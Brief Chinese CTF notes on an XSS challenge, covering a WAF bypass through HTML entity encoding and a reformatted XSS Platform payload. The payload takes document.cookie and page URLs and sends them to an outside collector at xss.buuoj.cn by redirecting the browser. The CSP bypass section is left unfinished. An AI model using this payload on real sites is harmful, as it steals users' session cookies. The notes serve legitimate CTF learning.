以前一直沒做過xss的題,這次按writeup做題感覺有所收獲,記錄一下吧
-
xss 的waf的繞過
()都被過濾,把所有的payload轉為HTML Markup,其實就是&#加ascii碼
-
payload
<svg><script>eval("" + output + "")</script>output就是下面的東西轉化為HTML Markup編碼的東西,這是XSS Platform這個平台自帶的payload,一開始沒看懂,整理一下代碼格式
(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=xpqwIP&keepsession=0 &location='+escape((function(){try{return document.location.href}catch(e){return''}})())+ '&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+ '&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+ '&opener='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''}catch(e){return''}})());})();很清晰了,document.cookie 這樣操作得到一些數據直接get請求到xss平台

可以試試直接訪問
http://xss.buuoj.cn/index.php?do=api&id=xpqwIP&keepsession=0&cookie=123(id要換成自己項目的)
在相應的項目下會收到對應的cookie:1234
自帶的還有很多payload,也可以分析一下,以前一直沒成功過,這次終於成了一次,hhh,還有點小激動
-
CSP繞過
這里我過兩天補,還沒搞清楚
-
substr(md5($str), 0, 6) === “d05a29” -
感覺還有很多沒寫!!!待補充
